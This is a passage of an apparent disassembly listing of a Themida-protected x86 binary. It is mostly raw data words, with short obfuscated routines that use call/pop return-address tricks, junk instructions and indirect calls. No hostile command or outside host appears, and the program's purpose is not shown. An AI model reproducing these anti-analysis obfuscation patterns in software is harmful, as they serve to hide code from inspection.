		dd 0CA3C3C36h, 5D2A3B60h, 0D8C33217h, 8E497F12h, 14D7F9DCh
		dd 0E40E2028h, 63053909h, 200h,	2F9B5467h, 0B763DCEAh
		dd 33E72052h, 0BE6CADDEh, 38F2355Bh, 0FF81FBEFh, 440B4E3Ch
		dd 0C5F2D783h, 517B5E0Ch, 0AB2F2496h, 0F417D700h, 0BBF3AE3Bh
		dd 66C40749h, 5EBA7D03h, 2AE597EAh, 0F799FC70h,	0EB251634h
		dd 0A4A2A6BBh, 9425D586h, 63083CFCh, 0D710A2C7h, 214E5DFDh
		dd 5F3BFC92h, 932C3CA6h, 994D95C9h, 0BDh, 8535A805h, 117BC04Ah
		dd 0B3579038h, 0ED6DAEDEh, 0DFA7DCBEh, 0ABF68246h, 0D42723E4h
		dd 5104C3F7h, 9B204599h, 54FBC5Eh, 0AFAB6414h, 7232525h
		dd 0FCBA3054h, 0BE6C1F3Ch, 0B2C4B4B4h, 0F3B88275h, 32182603h
		dd 25B9816Ah, 50FA3F40h, 448A1EBh, 497D2455h, 0CCBF8C8Eh
		dd 500AFD4Eh, 54904B7Dh, 9E4D09Ah, 2DCD6387h, 48000001h
		dd 3F12C801h, 0A79A508Fh, 2366D413h, 0ACE1599Eh, 3C6BDF18h
		dd 69A2D2CEh, 0F0295CB1h, 79B6C73Ah, 0C33C4C81h, 2D7EFC17h
		dd 3BF41704h, 0A8EE3CD9h, 0F498235h, 0E9A19A2Ah, 7D920675h
		dd 0BD45047h, 0FC537C2Fh, 412A46DEh, 0CB962217h, 27934681h
		dd 8435A8D7h, 1F7CCF4Bh, 0A1AAB06Fh, 0BD760277h, 1645D99Dh
		dd 46DFAAEDh, 0AB224B10h, 10FB46DFh, 0C3566FAh,	0E146DFABh
		dd 7502473Ah, 63AD9EBCh, 0ADFE4276h, 46DFAB84h,	7BFFB259h
		dd 3DF682E7h, 0B2DB2E1Dh, 8B46DFAAh, 1ED4B4E0h,	0A7D09B5Ah
		dd 7E46DFABh, 4B10DA8Dh, 3CF527C7h, 0D0B55546h,	46BB6FA8h
		dd 1C71F932h, 0B662AE6Bh, 0F5967CE5h, 872BE8D4h, 1BDCE386h
		dd 0E9C00CFFh, 5FB268A3h, 0D54642Dh, 4AD0837Ch,	0A82C0EC1h
		dd 0CB96DA03h, 8CC8B3E1h, 344096Ch, 7E1F46CCh, 0EC154657h
		dd 0C1E1CB2Eh, 0B6B467DAh, 0CF6BACD3h, 0CB2F739Ch, 77A14AE1h
		dd 60D9EEC3h, 34F387FAh, 0D89ABB16h, 74FE57A0h,	11BBE692h
		dd 82C734D6h, 93473AF3h, 49D10ABEh, 397h, 0E0C80700h, 41C90249h
		dd 67E35C6Ch, 9EBC7502h, 0B753943Bh, 0E169A2D2h, 1B3FF88Ch
		dd 36D415A6h, 62E82F53h, 9A807F0Fh, 4EC83B9h, 51242489h
		dd 4B9h, 244C0100h, 0DC685904h,	8900004Ch, 8950241Ch, 405E0h
		dd 42D0000h, 87000000h,	895C2404h, 5652242Ch, 2E1D0BBEh
		dd 6862BA67h, 0F201A3BDh, 5AD3895Eh, 0F4668h, 24248900h
		dd 4240483h, 8BA525Dh, 1000000h, 0B951EAh, 1000000h, 591989D1h
		dd 242C8B5Ah, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 57241C8Bh
		dd 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF7E9D9h, 220CDC6Dh
		dd 7766EC69h, 7999A8Ah,	0EB9553B8h, 0FFC5030Ah,	593E51E0h
		dd 25F77B7Dh, 385E946Eh, 15DBAE4Eh, 0F728AB27h,	3B045E5Ch
		dd 0DB841721h, 0ED475913h, 55E54110h, 188D8D1Fh, 6A0AEB97h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0FC09C353h, 89F78B66h, 0E314798Dh, 51006A0Ah
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0A0F966C6h, 0E9384B03h, 5, 0DF56EE20h, 0C985C792h, 40AE306h
		dd 6600006Ah, 85C7F88Bh, 0AE30069h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_60BB83
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60BB83	proc near		; CODE XREF: Themida_:0060BB7Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_60BB83	endp

; ---------------------------------------------------------------------------
		db 0A2h
		dd 129A1DE7h, 0A9D6033Dh, 8A0F5131h, 6,	800Fh, 665E0000h
		dd 0FFD7F3BBh, 0E32C4DB5h, 57006A0Ah, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0D2B27F39h
		dd 95FF289Bh, 0AE326B5h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 0EC35141h, 27205FD2h,	0A9BD8BD5h, 6A0AE314h
		dd 0D195FF00h, 8B0AE31Ch, 2A4CEBC0h, 3478F440h,	0AA4322EEh
		dd 0C1F4A722h, 0EFCCD418h, 0B4C04852h, 60E70F41h, 16F486C6h
		dd 0B607E62Eh, 0B8783869h, 3645A253h, 39227C88h, 5ABF2252h
		dd 86F39A24h, 155702DFh, 10054447h, 519B21D7h, 0FE984902h
		dd 795746E0h, 8D6117D6h, 0EB982E8Dh, 19BDBF0Ah,	8D8957F3h
		dd 0AE31479h, 68F0F60h,	89000000h, 0E322F5BDh, 0AD8D2B0Ah
		dd 610AE31Ch, 6C985C7h,	68440AE3h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 830F6BC3h
		dd 9, 38E0Fh, 0B70F0000h, 6985C7C6h, 0AE300h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8BC4C352h, 0E33049BDh, 0E99D290Ah, 0FF0AE324h
		dd 0E321A1B5h, 1A8F0F0Ah, 60000000h, 0DE8h, 0ACA6DA00h
		dd 0E3C36A72h, 0FA393AD7h, 0BA591DD1h, 5DB9C606h, 0B595FF61h
		dd 230AE326h, 0E317819Dh, 0FF006A0Ah, 0E31CD195h, 0EBC08B0Ah
		dd 48EA901Fh, 0E37C9C8h, 502D576Ah, 0E46CD956h,	7C5C87CEh
		dd 958040B6h, 508F5D0Bh, 0B7959458h, 10EBh, 3 dup(0)
		align 8
		pusha
		jmp	loc_60BD63
; ---------------------------------------------------------------------------
		dw 44F3h
; ---------------------------------------------------------------------------
		and	[edx-13h], ecx


loc_60BD63:				; CODE XREF: Themida_:0060BD59j
		popa
		cmp	dword ptr [ebp+0AE32569h], 0
		jnz	short loc_60BD76
		cmp	dword ptr [ebp+0AE3198Dh], 0
		jz	short loc_60BD8F


loc_60BD76:				; CODE XREF: Themida_:0060BD6Bj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+0AE32D95h], eax
		lea	ebx, [ebp+0AE5DDC5h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_60BD8F:				; CODE XREF: Themida_:0060BD74j
		cmp	dword ptr [ebp+0AE3198Dh], 0
		jz	short loc_60BDAF
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+0AE32D95h], eax
		lea	ebx, [ebp+0AE5DAB4h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_60BDAF:				; CODE XREF: Themida_:0060BD96j
		sub	dx, 9A80h
		xor	dx, 60FAh
		mov	eax, eax
		push	0
		push	ebx
		call	sub_60BDC6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60BDC6	proc near		; CODE XREF: Themida_:0060BDBEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 17h
		inc	ebx
		push	ebx
		retn
sub_60BDC6	endp

; ---------------------------------------------------------------------------
		push	edx
		sbb	byte ptr [edx+9], 81h
		faddp	st(2), st
		xchg	eax, ecx
		or	al, 54h
		mov	edx, 5AC34B41h
		mov	ecx, [ebp+0AE31E15h]
		push	0
		push	ebx
		call	sub_60BDF6
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_60BDF6	proc near		; CODE XREF: Themida_:0060BDEEp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_60BDF6	endp

; ---------------------------------------------------------------------------
		dw 579Ah
		dd 831B635Dh, 840F00F9h, 5Ah, 9E9h, 21A31C00h, 71D7206Fh
		dd 8B640F1Ah, 2C3Dh, 8D895200h,	0AE30915h, 0FFF0B5Eh, 3584h
		dd 8DB58B00h, 8B0AE316h, 3276B23Fh, 53006AC0h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 93689F9Bh
		dd 0AAF3108Bh, 5F58D29h, 49350AE3h, 0E9535041h,	8, 0BE679452h
		dd 920742DEh, 0AE8h, 2FF63C00h,	3DD48716h, 66FBCB25h, 0F236F281h
		dd 0F185C65Ah, 470AE31Ch, 2349958Bh, 4E80AE3h, 2C000000h
		dd 0E8DCD688h, 9, 4AAA9B84h, 5D2F2338h,	12E9604Bh, 0B9000000h
		dd 0BD1F2D54h, 19AA6880h, 11969305h, 0C057476Eh, 505E61EDh
		dd 8F5ABE66h, 424448Bh,	5E8008Bh, 0C2000000h, 33D997F7h
		dd 2444895Ah, 6E904h, 2AD10000h, 0C31BC1C9h, 0D5952958h
		dd 0FF0AE331h, 0E32F11B5h, 8FBE660Ah, 0CD8D09C6h, 8D0AE30Fh
		dd 0E6ACF385h, 6E90Ah, 56370000h, 48F30486h, 0BE66D0FFh
		dd 85896CCBh, 0AE3025Dh, 7AD8589h, 85C60AE3h, 0AE31CF1h
		dd 56006A53h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 8B5E70F9h, 0E3162195h, 0C132680Ah, 0BE574D6Eh
		dd 0D75886Fh, 2404815Eh, 3B29A9CAh, 14E9h, 8F185200h, 0FB5D5FE5h
		dd 73403FC6h, 41CCC676h, 64964CF7h, 11B5FF6Eh, 90AE32Fh
		dd 0E300B985h, 38BA660Ah, 0F3858D7Ah, 570AE6ACh, 2850Fh
		dd 5A530000h, 89D0FF5Ah, 0E308F1BDh, 0AA858D0Ah, 0E90AE66Dh
		dd 6, 7FF3C99Ch, 8589018Ch, 0AE31E69h, 201DB589h, 206A0AE3h
		dd 95FFFF6Ah, 0AE31E69h, 50414935h, 2185C753h, 10AE326h
		dd 0C7000000h, 0E3045985h, 0Ah,	12E900h, 638D0000h, 29A1F30Bh
		dd 1B1DEE89h, 6E69247Fh, 4736AA0Fh, 0BE9h, 0A1BC3500h
		dd 94F7199Ch, 0E20B0CAh, 15ED858Bh, 0B5290AE3h,	0AE3115Dh
		dd 8E9h, 18339100h, 5F6FE686h, 0A364E7h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E865C357h, 14h, 3D476475h, 49196666h, 58374305h, 35101395h
		dd 0FB609246h, 195D958Bh, 835A0AE3h, 0E3218DBDh, 840F000Ah
		dd 1Ah,	0AE9h, 44FD2000h, 6CAE8FFBh, 8B8DB653h,	0E3226185h
		dd 5EF2800Ah, 0BD83E08Bh, 0AE3167Dh, 7B850F00h,	66000004h
		dd 85C6F08Bh, 0AE31CF1h, 0D958B56h, 680AE31Eh, 81DB9D7Bh
		dd 81D18B66h, 0ADA42434h, 0B5FF281Eh, 0AE32F11h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 12C35343h, 0F056A975h
		dd 0B6F34A67h, 0ACF3858Dh, 6A0AE6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0BB4559C3h
		dd 6AD0FF01h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0FDD8C356h, 383EA6CCh,	90179C77h
		dd 7E85250h, 0AC000000h, 0AAF6110Eh, 5BB6B887h,	57310F5Eh
		dd 5AD38B66h, 0BA50585Ah, 77BF32E4h, 55006A90h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 8C5C7778h
		dd 0CE23C96Ch, 85897B04h, 0AE32EB5h, 33A18D8Dh,	29F90AE3h
		dd 0E334F5BDh, 44B6910Ah, 0DCBA6650h, 6A91C0h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0B58BBDC3h, 0AE31935h, 8D0F046Ah, 6,	3CD952Bh, 4E80AE3h
		dd 0
		dd 0F000010h, 0C83h, 50525000h,	5A310F52h, 5A310F58h, 0EE85058h
		dd 98000000h, 623A265Eh, 5F17B47Eh, 5DC8CC9Fh, 0F28B66BEh
		dd 24448B5Ah, 2D81BA04h, 8B0A18h, 89D18B66h, 0BA042444h
		dd 6ED1FF0Dh, 49B58958h, 0FF0AE31Bh, 0E31E81B5h, 75B58B0Ah
		dd 0E80AE321h, 11h, 4A44463Fh, 9F068132h, 62E5482Dh, 0BC4F88EFh
		dd 0A19FBA03h, 0FF5A6AF2h, 8128BED0h, 0BD8B4EC2h, 0AE31E81h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 62C35040h
		dd 0A82CA5E2h, 8D896571h, 0AE3173Dh, 3C7F03F8h,	6860Fh
		dd 0B5090000h, 0AE31569h, 0F8C781h, 950B0000h, 0AE31085h
		dd 202447C7h, 6A600000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0E8C1C352h,	0F18B66A4h
		dd 54BD83F9h, 0AEB98h, 17C840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0CC6ED4C3h
		dd 8DD8E669h, 83FC4900h, 0B58B28C7h, 0AE3105Dh,	6A2E07C7h
		dd 47C76469h, 61746104h, 55B58B00h, 8B0AE31Ch, 0EB985C85h
		dd 50006A0Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8B6607EFh, 168E0FF1h, 0E9000000h, 11h, 77E13E01h
		dd 7DD2949Fh, 3202B0FCh, 1DAD6849h, 0C4789D8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 7FC35747h, 26B9BD89h
		dd 0CA810AE3h, 38EA6AB2h, 9860858Bh, 6A0AEBh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F5C679C3h
		dd 0E8084789h, 0Bh, 0A70A2B80h,	0DF267DACh, 669400E2h
		dd 6924E281h, 28C7835Eh, 7C7F08Bh, 6E6F632Eh, 95336060h
		dd 0AE31311h, 12919D8Bh, 60610AE3h, 14B19D23h, 958B0AE3h
		dd 0AE326A5h, 47C76161h, 67696604h, 8BD7B200h, 0EB985885h
		dd 50006A0Ah, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0BA7B6ADAh, 128FF38Dh, 500C4789h, 2DD1958Bh
		dd 8B5E0AE3h, 0EB985485h, 51006A0Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 847899Fh, 32359D89h
		dd 89580AE3h, 0E314D58Dh, 418D8D0Ah, 890AE317h,	0E3149D95h
		dd 0BE90Ah, 5D080000h, 0FE6B1D7Eh, 6F25D9D1h, 0DE950A4h
		dd 0F6000000h, 4C45E053h, 32C067Ch, 51918177h, 0B6240C89h
		dd 0A1B5FFD1h, 890AE333h, 0E317B195h, 6CCC680Ah, 52506603h
		dd 310FD18Bh, 5E5E5352h, 3481585Ah, 37CCC24h, 55006A66h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 1FE54F87h, 928F2FE5h, 0F57AE0Fh, 38Fh, 0D0BF0F00h, 15BA665Eh
		dd 81B5FF4Bh, 6A0AE31Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 60CDC351h, 3B2CE281h
		dd 0C2813B57h, 1AA918B2h, 0FE9D0FFh, 39000000h,	0E52BE12Ah
		dd 86E82363h, 7C2D4B36h, 0B85411h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0D539C352h, 5259D31h, 0C00B0AE3h, 1A840Fh, 0BD010000h
		dd 0AE306F9h, 2C9DB5FFh, 0B58B0AE3h, 0AE3250Dh,	26B595FFh
		dd 21B60AE3h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 2CECAFC3h, 381060C1h, 0A5958949h
		dd 660AE323h, 7F39D281h, 2569BD83h, 75000AE3h, 8DBD8309h
		dd 0AE319h, 53501974h, 2DB8C08Bh, 89000004h, 0E32F1985h
		dd 2C9D8D0Ah, 0FF0AE5DEh, 83585BD3h, 0E3198DBDh, 1774000Ah
		dd 2DB85350h, 89000004h, 0E32F1985h, 0CD9D8D0Ah, 0FF0AE5DAh
		dd 89585BD3h, 0E32121B5h, 0D68B660Ah, 0BE66C08Bh, 95BACA73h
		dd 8B4BB7B1h, 0BB8D8DC0h, 6A0AEBA1h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0EE5C351h
		dd 89E3D3A8h, 0E314798Dh, 56006A0Ah, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0D977CB51h
		dd 0C985C7D3h, 940AE306h, 57000069h, 9D8B58F9h,	0AE3109Dh
		dd 6985C7h, 0AE3h, 0B5FF0000h, 0AE32DF5h, 0E6816652h, 0FF5ADDFEh
		dd 0E326B595h, 52006A0Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0C0C9CB43h, 247AD781h
		dd 0F560908h, 88h, 6A5800h, 1CD195FFh, 0C08B0AE3h, 0E01B0EEBh
		dd 1E6CEBBDh, 1A90C9FBh, 81665E58h, 0FE8h, 6FD6C100h, 53E3D4Fh
		dd 0BBF630B2h, 9BCEB098h, 0AE95EF5h, 0CF000000h, 0AEA7ACF1h
		dd 31EF4114h, 5FC681BAh, 5000006Ah, 2B5D9D8Bh, 0BA590AE3h
		dd 1B150C39h, 165AF281h, 89501B15h, 0E3131185h,	36FF590Ah
		dd 1D619D89h, 0B5F0AE3h, 0E305998Dh, 7DF7810Ah,	0E922B33Fh
		dd 11h,	5D0F17A4h, 4574CCEBh, 601B50A8h, 5E35B8EAh, 43F78179h
		dd 816057D3h, 0DEC63FF3h, 6FC78170h, 816D274Dh,	0D75F6DC1h
		dd 9D8B577Eh, 0AE32D09h, 870F068Fh, 5, 4BD88166h, 0FDEE81E8h
		dd 891228DFh, 0E3201D8Dh, 0F9C6810Ah, 0E81228DFh, 14h
		dd 0EE2329ABh, 0A5C65157h, 7FD5ED48h, 0E5A1573Eh, 90B81B1h
		dd 315DBD89h, 4A590AE3h, 0FF70850Fh, 0B589FFFFh, 0AE32E51h
		dd 2CE9h, 0E7AE5D00h, 60h, 9 dup(0)
		dd 4FCE900h, 0E2A90000h, 6E1C7129h, 0F284F9B1h,	7F004535h
		dd 0FB8DC0BAh, 0AD5D4A00h, 904A8D33h, 19D10ABDh, 0E05A9724h
		dd 76241FADh, 254E1DDDh, 0F83BF409h, 1645D91Dh,	3BF408EDh
		dd 0ADF1DBC0h, 42C80349h, 2C9E596Fh, 0C268A3E9h, 3CDE19AFh
		dd 705585CFh, 0F78B8F48h, 202AE392h, 234C1FDBh,	0FA46DFABh
		dd 0A4D2C711h, 4D82EF6Bh, 807B01E1h, 9C6F7CAh, 124F7C51h
		dd 41FF0832h, 0B1590CB7h, 0EA70A9DCh, 0CFC062DBh, 8DF7204Bh
		dd 0DDCE46DFh, 38F186F3h, 147D0F42h, 53F7AA67h,	0DF8E1C48h
		dd 0A70BB446h, 76CDE481h, 67EC47h, 49980000h, 5942C803h
		dd 46DFAB2Ah, 71571B44h, 4776D0F4h, 28E797CAh, 15AECh
		dd 0A84A0000h, 0A468135h, 81369F2Fh, 0F1759548h, 2832EF9Ch
		dd 0FA80E923h, 0AAF8214Ah, 0C9FC46DFh, 0F687FA10h, 57934639h
		dd 0AB5F88D3h, 453646DFh, 0F98AEF0Bh, 96AF1A00h, 248C3ACCh
		dd 0DFAB4E77h, 17742746h, 38F2A562h, 8E7CB7C5h,	0A523A87Eh
		dd 7F4478D5h, 0CAFADF39h, 2B42911h, 9AF645C5h, 0B4731B7Eh
		dd 2AB4A996h, 8773B4D8h, 7FB8CEA3h, 352470DBh, 0ACE4C87h
		dd 0E8ECC5B6h, 0D20E9F03h, 0DF0796BFh, 0A0CB6F46h, 46DF0777h
		dd 0AEEA5D4Eh, 5AC0074Bh, 0C2E648F5h, 47767235h, 765Fh
		dd 0D4A84F00h, 0DFAB5E87h, 8443746h, 0BE5C9F21h, 0F631473Ah
		dd 0CC0BBF9Ah, 0A2634Eh, 0DD1DDEEEh, 0F7D415B8h, 70C804C3h
		dd 0AAB06B1Dh, 0C5458237h, 6061CD72h, 56827D0Dh, 76D608A5h
		dd 0B6453647h, 5849E93Bh, 4CCE0FBEh, 3EC00CFFh,	4Ch, 5207496Eh
		dd 1436E922h, 4BCF08B1h, 14BAC169h, 76B1DB5Bh, 0CF3467D4h
		dd 0BF568201h, 2F5F3233h, 3B5A4F0h, 0A80A12C8h,	0BD876A23h
		dd 0E731807Eh, 2F0BC4F2h, 95FF384Ah, 9C0A3665h,	25A246DFh
		dd 0DF16AFB9h, 11A4776h, 8A000000h, 58C20549h, 325B0084h
		dd 0B46DFABh, 406C7F6h,	21084437h, 5B84D79Bh, 3246DFABh
		dd 3D749649h, 0F9364439h, 2E2CED90h, 985AF3DDh,	0A7834476h
		dd 0AB4F7823h, 752646DFh, 6AA66314h, 0B294549Eh, 9C1FE388h
		dd 0BD6E3CFCh, 5790389Dh, 96CB4FE3h, 0D52624E5h, 0FC9A99C2h
		dd 55BF6C3Bh, 7F9B5464h, 0FC99FD2Ch, 0F77BD23Bh, 0F0AA6517h
		dd 3634EF9Dh, 99C0E9B2h, 0E3B23BFCh, 5B3F0EC4h,	16731872h
		dd 0C068A465h, 0C664DFEDh, 31F01942h, 0C4F43BFCh, 0EE3C0F0Bh
		dd 0D827D33Dh, 216BBB27h, 8C8E4B70h, 0FD1ECCBFh, 4D95A940h
		dd 12548h, 23A83400h, 0D8C37AD0h, 87418B21h, 0FBAAD3C3h
		dd 0EFA215D2h, 3265164Bh, 78C34780h, 9A208585h,	0AAAEEA5Dh
		dd 0E00952D6h, 0B546DF13h, 0D9998AC6h, 0BC3CFC11h, 22564BCFh
		dd 0ACDC31E9h, 3E1BD4E5h, 509A4D8Eh, 0CA508B3Dh, 6FE31741h
		dd 57817A0Ah, 7D9D5662h, 21C16D82h, 0DF82369Bh,	9CBE71AEh
		dd 946E62Fh, 2C9F77C0h,	2E7DF179h, 3BFC4E05h, 61D933D8h
		dd 958D5DEAh, 0BEED614Dh, 3BFC4295h, 0B7498368h, 39h, 23A7A6E7h
		dd 52F1843Eh, 0C06ADDC8h, 0E0ABD29Bh, 0E4B7ABCFh, 0C6E06EBBh
		dd 1436E992h, 0E06F5E87h, 48EA13C6h, 8AB09649h,	0E23218E1h
		dd 67286D4Fh, 53BEFA2h,	66h, 0A4A2A691h, 9285D586h, 0A4383CFCh
		dd 0FC92CEF7h, 98F4A73Bh, 1A7F9B80h, 80C5B56Eh,	901B3FF8h
		dd 3BFC93CEh, 3ED092CBh, 4599518Ah, 725E9B20h, 0D416F0E8h
		dd 57AFDC50h, 50395AFFh, 7BFC2578h, 0BCD13BFCh,	0C04BCF08h
		dd 4EE0C30Dh, 2532121Ah, 0CBF1D476h, 82BB0A10h,	0DF292120h
		dd 0BCBE501Bh, 0A6553CECh, 0A2A6A4F4h, 43D586A4h, 0FA3CF549h
		dd 0DD37F087h, 593CDECDh, 0CF02F833h, 0D3D842BDh, 0D1E802D2h
		dd 1E14D82h, 0F7CA807Bh, 4C000AC5h, 5A73973Fh, 311B1826h
		dd 0E872B7D8h, 96385DD9h, 1642C951h, 0E99373FFh, 24690C2Eh
		dd 0B89467E3h, 4FF8DC0h, 0ABCE4206h, 0D33822E5h, 0F83C97C0h
		dd 0EE295FE5h, 978B9F6Ch, 0F83C9BC4h, 0D68972E5h, 0D5CFAh
		dd 0A8480000h, 0A8D08135h, 0AD60EB6Fh, 49A7F763h, 6C41C902h
		dd 267E35Ch, 3B9EBC75h,	0D2B75394h, 8CE169A2h, 0A61B3FF8h
		dd 5336D415h, 0F62E82Fh, 0B99A807Fh, 81E18951h,	4C1h, 4B85000h
		dd 29000000h, 0C8758C1h, 7B685C24h, 89000005h, 75682404h
		dd 89000024h, 6853241Ch, 145E1269h, 83241C8Bh, 0EBC104C4h
		dd 15F38105h, 812CAE02h, 0F16345E3h, 0DCC38105h, 8906EB40h
		dd 8B545BD8h, 0C483241Ch, 4EC8304h, 8F240489h, 1C8B0843h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		dd 52B88F6Dh, 30AEBA7h,	0F5E0FFC5h, 0E04794CCh,	0D73F7C18h
		dd 3179D20Eh, 322E0B6Fh, 963B331Eh, 0F204A419h,	0CB2B45C9h
		dd 5E22B104h, 0B719ECE4h, 0DA32E524h, 5B5C5724h, 4B1D89DCh
		dd 0D076D621h, 0F77DF5EAh, 9510855Eh, 0A8308D2Bh, 0C0541D70h
		dd 5449A5F1h, 0FA45552Dh, 0AE26B84Fh, 31770149h, 2B1486B2h
		dd 0D53D4807h, 0AD1B4C0Fh, 880EFB35h, 1D464EA8h, 8508F4CCh
		dd 4849F5h, 112746A8h, 10278328h, 0E90C13DCh, 16h, 77F0847Fh
		dd 4 dup(0)
		dd 56E90000h, 0C8000005h, 0BF924881h, 271AD00Fh, 0A3E65493h
		dd 2C61D91Eh, 0BCEB5F98h, 0E922524Eh, 70A9DC31h, 0F93647BAh
		dd 43BCCC01h, 0ADFE7C97h, 3BF40384h, 496EBC59h,	6F42C803h
		dd 0E92C9E59h, 6EE268A3h, 0AB98C1EAh, 2A5C46DFh, 8C9E6DEDh
		dd 3444B59Fh, 4C7A5FFBh, 0E51A7793h, 0A8E3A979h, 67F15D3Ch
		dd 0E3570AE1h, 6A2019AEh, 8DDE6617h, 46DED064h,	43095239h
		dd 0C6B98288h, 29780164h, 57A4A661h, 2D80A8E4h,	0C4B9A19Ah
		dd 0E7E7F8B1h, 9E07A3DAh, 394A2F2Bh, 35E82156h,	0D79BB815h
		dd 73FF54A1h, 0EDEC0972h, 77AA6515h, 0CC086855h, 0C7F5DCEDh
		dd 1563D08Ch, 0DE910D1Eh, 18AACF6Bh, 84D03BDFh,	3C4D2004h
		dd 6FEB2455h, 0DA21299Ch, 0F0BCCF1h, 0D3F9D03Ch, 7DA9F218h
		dd 1746DF68h, 0FC8FE93h, 82A608C5h, 477693E5h, 5DEFh, 3499F00h
		dd 7F0F62C8h, 0F7A45480h, 46DFAAC8h, 2F2BEC90h,	47C33C4Ah
		dd 0B6DF14Eh, 85A30FB8h, 4776D0F8h, 6F0h, 65154800h, 0A83E6EAAh
		dd 7944A623h, 84FF1D80h, 0CE144736h, 200943F7h,	0D8BD5D9Ah
		dd 0F0D575B2h, 0A5000ACFh, 0ACC1C26Ch, 0D338221Fh, 2DEA90F9h
		dd 0B770187Dh, 749BBC3h, 5B6346C4h, 751B7E9Ch, 8135A8B2h
		dd 4DF4C446h, 372897E1h, 0F2355BABh, 0AA651548h, 15A79A6Eh
		dd 295D30DAh, 7A9B6CEEh, 0D647D0F8h, 7B4D4776h,	0ED000000h
		dd 0CB05C288h, 440749DBh, 62CCA599h, 0B654075Bh, 0C4EDBE32h
		dd 9946DF39h, 0FB3A6F2h, 0AE6742C8h, 19D2E204h,	9F586CA1h
		dd 0B475067Bh, 6AADD3B6h, 19C1A637h, 236DB6B2h,	531F00F7h
		dd 76D8D875h, 6CF047h, 499C0000h, 8246C407h, 24BFEDF9h
		dd 0F7D4D041h, 380307C0h, 13CCFDDCh, 0FF25A4D7h, 0CFAD12F8h
		dd 4F705585h, 9F2D808Ah, 41FCA6A4h, 0D4819B9Dh,	13D4F80Ah
		dd 14957A7h, 780164C6h,	0F3A66129h, 12A7E457h, 4C5FFBD5h
		dd 46DFAB20h, 0DB7FB8CEh, 0F119D2E6h, 85F37F94h, 3829B532h
		dd 596E3345h, 30E32DE0h, 4776D0B7h, 1BDh, 23A8E900h, 0F25A1E47h
		dd 7465AF50h, 0C0A58542h, 0E7137DBAh, 3D3DF682h, 55653458h
		dd 0D88B709Ah, 55824932h, 72F00DDh, 88477754h, 2CE5AC4Ch
		dd 0DCEC8182h, 0BEC02963h, 0A7A38179h, 560599A1h, 46DF262Dh
		dd 39311B00h, 0FC17AE72h, 1CACE13Ch, 19CC07B5h,	0A4F34D26h
		dd 2F531A0h, 0DC17A518h, 90577B1Eh, 0FB81C444h,	62911A00h
		dd 0A3BFC24h, 2386847Dh, 0D3BE5C9Bh, 0BCC8B032h, 0BFCDDD81h
